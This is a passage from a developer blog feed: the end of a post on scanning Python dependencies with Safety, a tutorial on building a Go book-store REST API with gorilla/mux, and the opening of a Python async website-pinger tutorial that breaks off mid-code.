<p>Now that we know WHY we should use a vulnerability scanner, it is time to see <strong>HOW</strong> to do it.</p>
<p><a target="_blank" href="https://pypi.org/project/safety/"><code>Safety</code></a> to the rescue.</p>
<p>Safety (also a 3rd party package!) is a dependency security scanner that checks all of your application dependencies against the Python vulnerability database <a target="_blank" href="https://github.com/pyupio/safety-db">Safety DB</a>. If there are any vulnerabilities found, <code>safety</code> will output them as a plain text or JSON format.
<code>Safety</code> can be used in many ways inside of your project and we will <strong>explore most of them</strong>.</p>
<h3 id="heading-21-safety-as-a-package">2.1 Safety as a package</h3>
<p>Straight forward way of using <code>safety</code> is to just install it as you would normally do with any other 3rd party package:</p>
<p><code>pip install safety</code></p>
<p>After that we can start the scanner by using the following command:</p>
<p><code>safety check -r requirements.txt</code></p>
<p>If everything is ok, you will get the following output (trimmed down):</p>
<pre><code>| REPORT
| checked <span class="hljs-number">12</span> packages, <span class="hljs-keyword">using</span> free DB (updated once a month)
| <span class="hljs-keyword">No</span> known <span class="hljs-keyword">security</span> vulnerabilities <span class="hljs-built_in">found</span>.
</code></pre><h3 id="heading-22-safety-inside-of-docker-image">2.2 Safety inside of Docker image</h3>
<p>Most of the time we will <strong>Dockerize</strong> our application for the sake of deployment/ease of use/ development/some other reason. <code>Safety</code> can fortunately also be used as a <strong>scanner of Docker images</strong>. Build your image as you would normally do and add a <code>TAG</code> to it. Afterward, run the command:</p>
<p><code>docker run -it --rm ${TAG} "/bin/bash -c \"pip install safety &amp;&amp; safety check\"</code></p>
<h3 id="heading-23-safety-as-a-docker-image">2.3 Safety as a Docker image</h3>
<p>If you don't want to install and run <code>safety</code> as a package, you can also make use of the Docker image of <code>safety</code>. That way you will hook up the contents of your <code>requirements.txt</code> and check them against the <code>safety</code> running inside of a Docker image:</p>
<p><code>cat requirements.txt | docker run -i --rm pyupio/safety safety check --stdin</code></p>
<h3 id="heading-24-safety-inside-of-ci-service">2.4 Safety inside of CI service</h3>
<p>If you are making use of CI services such as <strong>GitLab</strong>, you can also include <code>safety</code> as a part of your CI pipeline. Add the following as a step inside of any stage that you prefer in your <code>.gitlab-ci.yml</code>:</p>
<pre><code><span class="hljs-attribute">safety</span>:
  <span class="hljs-attribute">script</span>:
    - pip install safety
    - safety check
</code></pre><p>Make sure that the image that you use for your pipelines has <code>pip</code> installed</p>
<h3 id="heading-25-safety-inside-of-tox">2.5 Safety inside of tox</h3>
<p>You can also add <code>safety</code> as a part of your <strong><a target="_blank" href="https://pypi.org/project/tox/"><code>tox</code></a></strong> configuration:</p>
<pre><code>[tox]
envlist = py39

[testenv]
deps =
    safety
    pytest
commands =
    safety check
    pytest
</code></pre><p>This way <code>safety</code> will run right before your tests execute.</p>
<h3 id="heading-26-safety-as-a-pre-commit-hook">2.6 Safety as a pre-commit hook</h3>
<p>If you are using pre-commit hooks, <code>safety</code> can also be added inside of your <code>.pre-commit-config.yaml</code>:</p>
<pre><code><span class="hljs-operator">-</span>   repo: https:<span class="hljs-comment">//github.com/Lucas-C/pre-commit-hooks-safety</span>
    rev: v1<span class="hljs-number">.2</span><span class="hljs-number">.4</span>
    hooks:
    <span class="hljs-operator">-</span>   id: python<span class="hljs-operator">-</span>safety<span class="hljs-operator">-</span>dependencies<span class="hljs-operator">-</span>check
        files: requirements.txt
</code></pre><h2 id="heading-3-conclusion">3. Conclusion</h2>
<p>While there are <strong>so many ways</strong> to keep your application safe regardless of the tech stack it was built in, this time I just wanted to show you why making use of a vulnerability scanner <strong>could be essential</strong> for your project. It is fairly simple to include one inside of your Python projects and there should be no excuse for not using one in the first place.</p>
<p>Stay safe and happy coding!</p>
<p>Like always, thanks for reading :)</p>
]]></content:encoded></item><item><title><![CDATA[Introduction to Go - Create your first REST API]]></title><description><![CDATA[Go (Golang) is the new kid on the block in terms of the recent popularity surge. It is small, stable, simple to use and learn, fast, compiled (native code), and heavily used in cloud tools and services (Docker, Kubernetes, ...). There is no reason no...]]></description><link>https://blog.vojko.dev/introduction-to-go-create-your-first-rest-api</link><guid isPermaLink="true">https://blog.vojko.dev/introduction-to-go-create-your-first-rest-api</guid><category><![CDATA[Go Language]]></category><category><![CDATA[REST API]]></category><category><![CDATA[crud]]></category><category><![CDATA[http]]></category><category><![CDATA[code]]></category><dc:creator><![CDATA[Vojko Pribudić]]></dc:creator><pubDate>Sun, 07 Nov 2021 19:01:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1636305470864/1RFMGve95A.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Go (Golang) is the new kid on the block in terms of the recent popularity surge. It is small, stable, simple to use and learn, fast, compiled (native code), and heavily used in cloud tools and services (Docker, Kubernetes, ...). There is no reason not to take it for a spin considering all of the perks that come with it. In this tutorial, we will build a simple book store REST API.</p>
<p><strong>NOTE</strong>: In a hurry? Get the final code <a target="_blank" href="https://gitlab.com/vojko.pribudic/bookstore-api">here</a>.</p>
</blockquote>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>Before we start, some of the prerequisites we will use:</p>
<ul>
<li><p><a target="_blank" href="https://golang.org/dl/">Go</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/gorilla/handlers">gorilla/handlers</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/gorilla/mux">gorilla/mux</a></p>
</li>
</ul>
<p>Since we will build a complete API solution, I highly recommend that you take a look at <a target="_blank" href="https://tour.golang.org/welcome/1"><strong>Go tour</strong></a>.</p>
<h2 id="heading-1-application-structure">1. Application structure</h2>
<p>You should have Go installed and ready by now. Open up your favorite IDE for Go (Visual Studio Code, GoLand, ...) and create a new Go project. As I mentioned earlier, the idea is to build a simple <strong>REST API</strong> for book store management by using <strong>Mux</strong>. Once you created your blank project, create the following structure inside of it:</p>
<pre><code>├── main.go
└── src
    ├── app.go
    ├── data.go
    ├── handlers.go
    ├── helpers.go
    └── middlewares.go
</code></pre><h3 id="heading-11-go-packages-and-modules">1.1 Go packages and modules</h3>
<p>This is the right time to talk about Go modules and packages. If you are familiar with Python, you might get an idea of what those are since they operate similarly.</p>
<p>The best way to describe a <strong>Go package</strong> is that it's a collection of source files in the same directory that are compiled together as a reusable unit. That means that all files that serve a similar purpose should be put inside one package. As per our structure above - <code>src</code> is one of our packages.</p>
<p><strong>Go module</strong> is a collection of Go packages along with their dependencies, meaning that one module can consist of multiple packages. You can think of our whole application as a Go module for easier understanding.</p>
<p>Let's create our module by executing this command in our project root directory:</p>
<p><code>go mod init bookstore</code></p>
<p>You should see a new file inside your root directory called <code>go.mod</code> - so far so good :)</p>
<h2 id="heading-2-building-the-api">2. Building the API</h2>
<p>It is time to start building our application. Open up your <code>main.go</code> file and insert the following code inside of it:</p>
<pre><code><span class="hljs-keyword">package</span> main

<span class="hljs-keyword">import</span> <span class="hljs-string">"bookstore/src"</span>

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
    src.Start()
}
</code></pre><p>We declared our <strong>main Go package</strong> (<code>package main</code>) and imported our <code>src</code> package along with the module <code>bookstore</code> prefix. Inside the function <code>main()</code> we will run the <code>Start()</code> function of package <code>src</code>. This is the only responsibility of our entry point file (<code>main.go</code>) - fire up the API.</p>
<h3 id="heading-21-routes-and-handlers">2.1 Routes and handlers</h3>
<p>Now we need to create our API router (Mux) and configure it by creating some endpoints and their handlers. Inside of your <code>src</code> package open up <code>app.go</code> and insert the following code inside of it:</p>
<pre><code><span class="hljs-keyword">package</span> src

<span class="hljs-keyword">import</span> (
    <span class="hljs-string">"github.com/gorilla/handlers"</span>
    <span class="hljs-string">"github.com/gorilla/mux"</span>
    <span class="hljs-string">"log"</span>
    <span class="hljs-string">"net/http"</span>
    <span class="hljs-string">"os"</span>
)

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">Start</span><span class="hljs-params">()</span></span> {
    router := mux.NewRouter()
    router.Use(commonMiddleware)
    router.HandleFunc(<span class="hljs-string">"/book"</span>, getAllBooks).Methods(http.MethodGet)
    router.HandleFunc(<span class="hljs-string">"/book"</span>, addBook).Methods(http.MethodPost)
    router.HandleFunc(<span class="hljs-string">"/book/{book_id:[0-9]+}"</span>, getBook).Methods(http.MethodGet)
    router.HandleFunc(<span class="hljs-string">"/book/{book_id:[0-9]+}"</span>, updateBook).Methods(http.MethodPut)
    router.HandleFunc(<span class="hljs-string">"/book/{book_id:[0-9]+}"</span>, deleteBook).Methods(http.MethodDelete)
    log.Fatal(http.ListenAndServe(<span class="hljs-string">"localhost:5000"</span>, handlers.LoggingHandler(os.Stdout, router)))
}
</code></pre><p>As you can see above - we declared that <code>app.go</code> is part of the <code>src</code> package and it contains the <code>Start()</code> function that we used inside our <code>main.go</code> file. We also included <strong>two external modules</strong> that we need to install as dependencies for our <code>bookstore</code> module. </p>
<p>Execute the following commands in your terminal:</p>
<pre><code>go get github.com/gorilla<span class="hljs-operator">/</span>handlers
go get github.com/gorilla<span class="hljs-operator">/</span>mux
</code></pre><p>Your <code>go.mod</code> file should have <strong>synced</strong> as well and it should now look something like this:</p>
<pre><code>module bookstore

go <span class="hljs-number">1.17</span>

<span class="hljs-built_in">require</span> (
    github.com/gorilla<span class="hljs-operator">/</span>handlers v1<span class="hljs-number">.5</span><span class="hljs-number">.1</span>
    github.com/gorilla<span class="hljs-operator">/</span>mux v1<span class="hljs-number">.8</span><span class="hljs-number">.0</span>
)

<span class="hljs-built_in">require</span> github.com/felixge<span class="hljs-operator">/</span>httpsnoop v1<span class="hljs-number">.0</span><span class="hljs-number">.1</span> <span class="hljs-comment">// indirect</span>
</code></pre><p>Let's take a deeper look at our <code>Start()</code> function. First, we declared a new Mux router variable which will be responsible for the <strong>routing and handling</strong> of requests across our API. Then we told Mux that we want to include a <strong>middleware</strong> that will execute upon each request that comes to our API with the line:</p>
<p><code>router.Use(commonMiddleware)</code></p>
<p>More about middleware a bit later. If we continue to analyze our code we can finally see where we create endpoints along with handlers (callback functions) and some primitive validations. For example:</p>
<p><code>router.HandleFunc("/book/{book_id:[0-9]+}", updateBook).Methods(http.MethodPut)</code></p>
<p>This endpoint will fire up once a user hits our server at the <code>/book/123</code> (or any other number) path with a PUT method. It will then <strong>pass the request</strong> to the <code>updateBook</code> handler function for further processing. The <code>book_id</code> variable has to be a number as we specified a simple validation after the variable name declaration.</p>
<p>Finally, we will run our server on the specific host and port combination and make it log everything to our terminal:</p>
<p><code>log.Fatal(http.ListenAndServe("localhost:5000", handlers.LoggingHandler(os.Stdout, router)))</code></p>
<h3 id="heading-22-middlewares">2.2 Middlewares</h3>
<p>As we all know - REST APIs mostly use JSON when taking requests and returning responses. That is communicated to our browsers/HTTP clients by making use of  <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type"><code>Content-Type</code> headers</a>. Since our API will only be using JSON-represented data, we can make use of a middleware that will make sure our content type is always set to JSON.</p>
<p>As mentioned earlier, the <code>Start()</code> method of <code>app.go</code> contains this line:</p>
<p><code>router.Use(commonMiddleware)</code></p>
<p>Let's open up our <code>middlewares.go</code> file and create the needed function:</p>
<pre><code><span class="hljs-keyword">package</span> src

<span class="hljs-keyword">import</span> <span class="hljs-string">"net/http"</span>

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">commonMiddleware</span><span class="hljs-params">(next http.Handler)</span> <span class="hljs-title">http</span>.<span class="hljs-title">Handler</span></span> {
    <span class="hljs-keyword">return</span> http.HandlerFunc(<span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(w http.ResponseWriter, r *http.Request)</span></span> {
        w.Header().Set(<span class="hljs-string">"content-type"</span>, <span class="hljs-string">"application/json; charset=utf-8"</span>)
        w.Header().Set(<span class="hljs-string">"x-content-type-options"</span>, <span class="hljs-string">"nosniff"</span>)
        next.ServeHTTP(w, r)
    })
}
</code></pre><p>Once the user hits any of the endpoints that we registered in our <code>Start()</code> function to the Mux router, the middleware will intercept that request and add the two headers that we specified inside of our <code>commonMiddleware</code> function. It will then pass the modified request further to the handling function of the requested endpoint OR to another middleawre (in case we need more than one middleware).</p>
<h3 id="heading-23-static-data">2.3 Static data</h3>
<p>Since we won't be using any data storage services (database, cache, ...) we need to have some sort of <strong>static data</strong>. Also, we will create a data type for custom responses, which I will explain later on.</p>
<p>Open up the <code>data.go</code> inside the <code>src</code> package and put the following inside of it:</p>
<pre><code>package src

<span class="hljs-keyword">type</span> Book <span class="hljs-keyword">struct</span> {
    Id   <span class="hljs-keyword">int</span>    `json:<span class="hljs-string">"id"</span>`
    Title <span class="hljs-keyword">string</span> `json:<span class="hljs-string">"title"</span>`
    Author <span class="hljs-keyword">string</span> `json:<span class="hljs-string">"author"</span>`
    Genre  <span class="hljs-keyword">string</span> `json:<span class="hljs-string">"genre"</span>`
}

<span class="hljs-keyword">var</span> booksDB <span class="hljs-operator">=</span> []Book{
    {Id: <span class="hljs-number">123</span>, Title: <span class="hljs-string">"The Hobbit"</span>, Author: <span class="hljs-string">"J. R. R. Tolkien"</span>, Genre: <span class="hljs-string">"Fantasy"</span>},
    {Id: <span class="hljs-number">456</span>, Title: <span class="hljs-string">"Harry Potter and the Philosopher's Stone"</span>, Author: <span class="hljs-string">"J. K. Rowling"</span>, Genre: <span class="hljs-string">"Fantasy"</span>},
    {Id: <span class="hljs-number">789</span>, Title: <span class="hljs-string">"The Little Prince"</span>, Author: <span class="hljs-string">"Antoine de Saint-Exupéry"</span>, Genre: <span class="hljs-string">"Novella"</span>},
}
</code></pre><p>We just created a <strong>data structure</strong> that will hold the information needed for a single book inside our API. We also created <code>json</code> <strong>tags</strong> which will translate the field names to its JSON representation if the data type will be passed as JSON. 
We also created a primitive book storage system (in memory) with some initial books data (<code>booksDB</code>).</p>
<p>Add this code below the one from the above:</p>
<pre><code><span class="hljs-keyword">type</span> CustomResponse <span class="hljs-keyword">struct</span> {
    Code        <span class="hljs-keyword">int</span>    `json:<span class="hljs-string">"code"</span>`
    Message     <span class="hljs-keyword">string</span> `json:<span class="hljs-string">"message"</span>`
    Description <span class="hljs-keyword">string</span> `json:<span class="hljs-string">"description,omitempty"</span>`
}

<span class="hljs-keyword">var</span> responseCodes <span class="hljs-operator">=</span> map[<span class="hljs-keyword">int</span>]<span class="hljs-keyword">string</span> {
    <span class="hljs-number">400</span>: <span class="hljs-string">"Bad Request"</span>,
    <span class="hljs-number">401</span>: <span class="hljs-string">"Unauthorized"</span>,
    <span class="hljs-number">403</span>: <span class="hljs-string">"Forbidden"</span>,
    <span class="hljs-number">404</span>: <span class="hljs-string">"Not Found"</span>,
    <span class="hljs-number">409</span>: <span class="hljs-string">"Conflict"</span>,
    <span class="hljs-number">422</span>: <span class="hljs-string">"Validation Error"</span>,
    <span class="hljs-number">429</span>: <span class="hljs-string">"Too Many Requests"</span>,
    <span class="hljs-number">500</span>: <span class="hljs-string">"Internal Server Error"</span>,
}
</code></pre><p>We just made a new data structure that will unify the errors/responses that our API will return. More on this later on.</p>
<h3 id="heading-24-helpers">2.4 Helpers</h3>
<p>We will need some helpers to get the most of our API. For example, we will need to check if a book with a given ID exists (adding a new book, modifying an existing book). We will also need to delete a book with a given ID (delete book). We will also create a helper that will return a custom JSON response for a given HTTP status code.</p>
<p>Open up <code>helpers.go</code> inside of <code>src</code> package and insert the following inside:</p>
<pre><code><span class="hljs-keyword">package</span> src

<span class="hljs-keyword">import</span> (
    <span class="hljs-string">"encoding/json"</span>
    <span class="hljs-string">"net/http"</span>
)

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">removeBook</span><span class="hljs-params">(s []Book, i <span class="hljs-keyword">int</span>)</span> []<span class="hljs-title">Book</span></span> {
    <span class="hljs-keyword">if</span> i != <span class="hljs-built_in">len</span>(s)<span class="hljs-number">-1</span> {
        s[i] = s[<span class="hljs-built_in">len</span>(s)<span class="hljs-number">-1</span>]
    }
    <span class="hljs-keyword">return</span> s[:<span class="hljs-built_in">len</span>(s)<span class="hljs-number">-1</span>]
}

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">checkDuplicateBookId</span><span class="hljs-params">(s []Book, id <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">bool</span></span> {
    <span class="hljs-keyword">for</span> _, book := <span class="hljs-keyword">range</span> s {
        <span class="hljs-keyword">if</span> book.Id == id {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>
        }
    }
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>
}

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">JSONResponse</span><span class="hljs-params">(w http.ResponseWriter, code <span class="hljs-keyword">int</span>, desc <span class="hljs-keyword">string</span>)</span></span> {
    w.WriteHeader(code)
    message, ok := responseCodes[code]
    <span class="hljs-keyword">if</span> !ok {
        message = <span class="hljs-string">"Undefined"</span>
    }
    r := CustomResponse{
        Code:        code,
        Message:     message,
        Description: desc,
    }
    _ = json.NewEncoder(w).Encode(r)
}
</code></pre><p>The <code>removeBook</code> function will go over our <code>Book</code> slice and look for index value <code>i</code>. If it is not the last element of the slice, it will move it to the end of the slice and return <strong>a new slice without it</strong> (avoid the last element).</p>
<p><code>checkDuplicateBookId</code> function will return a bool value (true or false) depending on if the given <code>id</code> <strong>exists</strong> inside of the <code>Book</code> slice.</p>
<p>The <code>JSONResponse</code> function is responsible for making use of the <code>CustomResponse</code> and <code>responseCodes</code> we created earlier on. It will return a <code>CustomResponse</code> JSON representation with the status code and message that <code>responseCodes</code> will provide. This way we will avoid having different messages across our API for the same HTTP status codes (eg. 400: Bad Request and 400: Invalid Data).</p>
<h3 id="heading-25-handlers">2.5 Handlers</h3>
<p>If you made it so far, congrats :)
Let's jump to the final part - putting the endpoint handlers together. Open up your <code>handlers.go</code> and let's type some code inside of it.</p>
<pre><code><span class="hljs-keyword">package</span> src

<span class="hljs-keyword">import</span> (
    <span class="hljs-string">"encoding/json"</span>
    <span class="hljs-string">"github.com/gorilla/mux"</span>
    <span class="hljs-string">"net/http"</span>
    <span class="hljs-string">"strconv"</span>
)
</code></pre><h4 id="heading-251-get-a-single-book">2.5.1 Get a single book</h4>
<pre><code>func getBook(w http.ResponseWriter, r <span class="hljs-operator">*</span>http.Request) {
    vars :<span class="hljs-operator">=</span> mux.Vars(r)
    bookId, <span class="hljs-keyword">_</span> :<span class="hljs-operator">=</span> strconv.Atoi(vars[<span class="hljs-string">"book_id"</span>])
    <span class="hljs-keyword">for</span> <span class="hljs-keyword">_</span>, book :<span class="hljs-operator">=</span> range booksDB {
        <span class="hljs-keyword">if</span> book.Id <span class="hljs-operator">=</span><span class="hljs-operator">=</span> bookId {
            <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> json.NewEncoder(w).Encode(book)
            <span class="hljs-keyword">return</span>
        }
    }
    JSONResponse(w, http.StatusNotFound, <span class="hljs-string">""</span>)
}
</code></pre><p>Not much is going on here. We get the passed variables from our Mux router (in our case it is just one variable that we described in <code>app.go</code> for this handler - <code>book_id</code>) and we convert it from <code>string</code> to <code>int</code> value. We iterate over our <code>booksDB</code> and look for the <strong>matching book ID</strong>. If it exists, we return it - if not, we return the <code>404: Not Found</code> error.</p>
<h4 id="heading-252-get-all-books">2.5.2 Get all books</h4>
<pre><code>func getAllBooks(w http.ResponseWriter, r <span class="hljs-operator">*</span>http.Request) {
    <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> json.NewEncoder(w).Encode(booksDB)
}
</code></pre><p>Simple one eh? Convert the <code>booksDB</code> slice to JSON and return it to the user.</p>
<h4 id="heading-253-add-a-new-book">2.5.3 Add a new book</h4>
<pre><code>func addBook(w http.ResponseWriter, r <span class="hljs-operator">*</span>http.Request) {
    decoder :<span class="hljs-operator">=</span> json.NewDecoder(r.Body)
    <span class="hljs-keyword">var</span> b Book
    err :<span class="hljs-operator">=</span> decoder.Decode(<span class="hljs-operator">&amp;</span>b)
    <span class="hljs-keyword">if</span> err <span class="hljs-operator">!</span><span class="hljs-operator">=</span> nil {
        JSONResponse(w, http.StatusBadRequest, <span class="hljs-string">""</span>)
        <span class="hljs-keyword">return</span>
    }
    <span class="hljs-keyword">if</span> checkDuplicateBookId(booksDB, b.Id) {
        JSONResponse(w, http.StatusConflict, <span class="hljs-string">""</span>)
        <span class="hljs-keyword">return</span>
    }
    booksDB <span class="hljs-operator">=</span> append(booksDB, b)
    w.WriteHeader(<span class="hljs-number">201</span>)
    <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> json.NewEncoder(w).Encode(b)
}
</code></pre><p>Since this one triggers on POST method, the user must provide the JSON data inside the request body that will match the <code>Book</code> structure:</p>
<pre><code>{
    <span class="hljs-attr">"id"</span>: <span class="hljs-number">999</span>,
    <span class="hljs-attr">"title"</span>: <span class="hljs-string">"SomeTitle"</span>,
    <span class="hljs-attr">"author"</span>: <span class="hljs-string">"SomeAuthor"</span>,
    <span class="hljs-attr">"genre"</span>: <span class="hljs-string">"SomeGenre"</span>
}
</code></pre><p>Once we decode and validate the JSON body against our <code>Book</code> struct (if it fails we will return the <code>400: Bad Request</code> error), we need to check if the book with the same ID already exists. If that is the case, we return the <code>409: Conflict</code> error back. Otherwise, we will append our <code>booksDB</code> with the user-provided book and return its JSON representation to the user.</p>
<h4 id="heading-254-update-existing-book">2.5.4 Update existing book</h4>
<pre><code>func updateBook(w http.ResponseWriter, r <span class="hljs-operator">*</span>http.Request) {
    vars :<span class="hljs-operator">=</span> mux.Vars(r)
    bookId, <span class="hljs-keyword">_</span> :<span class="hljs-operator">=</span> strconv.Atoi(vars[<span class="hljs-string">"book_id"</span>])
    decoder :<span class="hljs-operator">=</span> json.NewDecoder(r.Body)
    <span class="hljs-keyword">var</span> b Book
    err :<span class="hljs-operator">=</span> decoder.Decode(<span class="hljs-operator">&amp;</span>b)
    <span class="hljs-keyword">if</span> err <span class="hljs-operator">!</span><span class="hljs-operator">=</span> nil {
        JSONResponse(w, http.StatusBadRequest, <span class="hljs-string">""</span>)
        <span class="hljs-keyword">return</span>
    }
    <span class="hljs-keyword">for</span> i, book :<span class="hljs-operator">=</span> range booksDB {
        <span class="hljs-keyword">if</span> book.Id <span class="hljs-operator">=</span><span class="hljs-operator">=</span> bookId {
            booksDB[i] <span class="hljs-operator">=</span> b
            <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> json.NewEncoder(w).Encode(b)
            <span class="hljs-keyword">return</span>
        }
    }
    JSONResponse(w, http.StatusNotFound, <span class="hljs-string">""</span>)
}
</code></pre><p>Almost the same as the <code>addBook</code> function handler with one main difference. For the book to be updated, it has to exist already (ID must be inside of the <code>booksDB</code>). If it exists, we will update the values of the existing book, otherwise, we will return the <code>404: Not Found</code> error back.</p>
<h4 id="heading-255-delete-existing-book">2.5.5 Delete existing book</h4>
<pre><code>func deleteBook(w http.ResponseWriter, r <span class="hljs-operator">*</span>http.Request) {
    vars :<span class="hljs-operator">=</span> mux.Vars(r)
    bookId, <span class="hljs-keyword">_</span> :<span class="hljs-operator">=</span> strconv.Atoi(vars[<span class="hljs-string">"book_id"</span>])
    <span class="hljs-keyword">for</span> i, book :<span class="hljs-operator">=</span> range booksDB {
        <span class="hljs-keyword">if</span> book.Id <span class="hljs-operator">=</span><span class="hljs-operator">=</span> bookId {
            booksDB <span class="hljs-operator">=</span> removeBook(booksDB, i)
            <span class="hljs-keyword">_</span> <span class="hljs-operator">=</span> json.NewEncoder(w).Encode(book)
            <span class="hljs-keyword">return</span>
        }
    }
    JSONResponse(w, http.StatusNotFound, <span class="hljs-string">""</span>)
}
</code></pre><p>After we get the integer value of the <code>book_id</code> variable, we iterate over the <code>booksDB</code> to find the book that the user wants to delete. If it exists, we make use of our helper <code>removeBook</code> function to remove the book from the <code>Book</code> struct slice. If it does not exist, we will return the <code>404: Not Found</code> error back.</p>
<h2 id="heading-3-running-and-testing-the-api">3. Running and testing the API</h2>
<p>Now that our API is finished, let's give it a run. Execute this in your terminal:</p>
<p><code>go run main.go</code></p>
<p>Fire up your favorite HTTP client (Insomnia, Postman, ...) and try out some of the endpoints we created.
Feel free to play around with your newly created Go REST API.</p>
<p>The final code can be found <a target="_blank" href="https://gitlab.com/vojko.pribudic/bookstore-api">here</a>.</p>
<p>Like always, thanks for reading :)</p>
]]></content:encoded></item><item><title><![CDATA[Get started with asynchronous programming in Python]]></title><description><![CDATA[Heard of async but you never really understood what it is or why you should use it? Hopefully, this article will help you understand the idea behind asynchronous code and when you really should use it instead of synchronous code.
NOTE: Since the full...]]></description><link>https://blog.vojko.dev/get-started-with-asynchronous-programming-in-python</link><guid isPermaLink="true">https://blog.vojko.dev/get-started-with-asynchronous-programming-in-python</guid><category><![CDATA[Python]]></category><category><![CDATA[asynchronous]]></category><category><![CDATA[async]]></category><category><![CDATA[code]]></category><category><![CDATA[website]]></category><dc:creator><![CDATA[Vojko Pribudić]]></dc:creator><pubDate>Sat, 16 Oct 2021 00:52:23 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1634337871019/5VSd-m09x.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Heard of <strong><em>async</em></strong> but you never really understood what it is or why you should use it? Hopefully, this article will help you understand the idea behind asynchronous code and when you really should use it instead of synchronous code.</p>
<p><strong>NOTE</strong>: Since the full code snippet is not really that long, no final code will be provided on GitLab this time.</p>
</blockquote>
<h2 id="heading-prerequisites">Prerequisites</h2>
<p>As usual — some prerequisites before you get started:</p>
<ul>
<li><p><a target="_blank" href="https://www.python.org/downloads/">Python 3</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/aiohttp/">aiohttp</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/fake_user_agent/">fake_user_agent</a></p>
</li>
<li><p><a target="_blank" href="https://pypi.org/project/requests/">requests</a></p>
</li>
</ul>
<p>Usage of <a target="_blank" href="https://docs.python.org/3/library/venv.html"><strong>venv</strong></a> is strongly recommended to keep your python packages separated from your host machine.</p>
<h2 id="heading-1-asynchronous-programming">1. Asynchronous programming</h2>
<p>So far you've been using synchronous code to make your scripts/apps in Python and you obviously haven't had the need to look for asynchronous implementations (or otherwise you wouldn't be here ^^). In some cases it is perfectly fine to use synchronous code, however, in some cases, it is <strong>completely wrong</strong> to do so.</p>
<p>The main difference between synchronous and asynchronous programming is in the way the code executes. A <strong>synchronous</strong> program is executed one step at a time and part of your code will run until it finishes and only then another part of your code can execute. An <strong>asynchronous</strong> program still runs one step at a time but with a difference that it may not wait for the running part of code to finish (e.g. return result) before moving on to the next part of your code. I will try to explain this with a picture below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1634341540525/z6p2szPO-.png" alt="Synchronous vs asynchronous task execution" /><em>Synchronous vs asynchronous task execution</em></p>
<p>First of all - pardon my very basic diagram drawing skills...
As you can see, in both cases we have 5 tasks that we want to execute. On the left side of the diagram, you can see how <strong>synchronous task execution</strong> looks like. Each task executes and only when the task execution is finished another one can start. On the right side, you see the <strong>asynchronous task execution</strong> where all of the tasks are executed at the virtually same time, which means that after a task is executed, our code moves on to another one even if the task that was executed did not finish running. We can easily conclude that the <strong>running time</strong> of asynchronous task execution is <strong>much faster</strong> which can be seen by comparing the <code>Time</code> parameter on the both left and right side of the diagram.</p>
<h3 id="heading-11-when-to-use-asynchronous-code">1.1 When to use asynchronous code</h3>
<p>While there is no definitive answer on when you should use <code>async</code> in Python, there are, however, some guidelines that will help you determine whether or not you should use <code>async</code>.</p>
<ul>
<li>Your code/task takes a long amount of time to complete</li>
<li>I/O operations are blocking the rest of your code</li>
<li>You ran several tasks one after another even though they are not dependant on each other</li>
</ul>
<p>If your code hits any of the above targets, you should consider converting it into <code>async</code> code to speed things up. One <strong>practical example</strong> that I will show you will be based on the above guidelines. I want to send requests to several websites and check if I got a successful response from them. Let's jump to some good old Python coding :)</p>
<h2 id="heading-2-python-app">2. Python app</h2>
<p>For benchmarking purposes, <strong>we will create both</strong>, synchronous and asynchronous, versions of the same website pinger app.
Create a <strong>new Python project</strong> and along with it create a new <strong>venv</strong> that will hold our Python packages. Install the required Python packages:</p>
<pre><code>pip <span class="hljs-keyword">install</span> aiohttp
pip <span class="hljs-keyword">install</span> fake_user_agent
pip <span class="hljs-keyword">install</span> requests
</code></pre><p>The idea is to ping all of the  <a target="_blank" href="https://en.wikipedia.org/wiki/Big_Tech">Big Five</a>  websites. Create our main <code>app.py</code> file:</p>
<pre><code><span class="hljs-keyword">import</span> <span class="hljs-title">time</span>

<span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">requests</span>


<span class="hljs-title">GAFAM</span> <span class="hljs-operator">=</span> [
    <span class="hljs-string">"https://google.com"</span>,
    <span class="hljs-string">"https://amazon.com"</span>,
    <span class="hljs-string">"https://facebook.com"</span>,
    <span class="hljs-string">"https://www.apple.com"</span>,
    <span class="hljs-string">"https://www.microsoft.com"</span>,
]


<span class="hljs-title">def</span> <span class="hljs-title">sync_run</span>() <span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> <span class="hljs-title">None</span>:
    <span class="hljs-title">def</span> <span class="hljs-title">_get_resp</span>(<span class="hljs-title">url</span>: <span class="hljs-title">str</span>):
        <span class="hljs-title">resp</span> <span class="hljs-operator">=</span> <span class="hljs-title">requests</span>.<span class="hljs-title">get</span>(<span class="hljs-title">url</span>)
        <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">not</span> <span class="hljs-title">resp</span>.<span class="hljs-title">status_code</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> 200:
            <span class="hljs-title">print</span>(<span class="hljs-title">f</span><span class="hljs-string">"Error: {url} - {resp.status_code}"</span>)

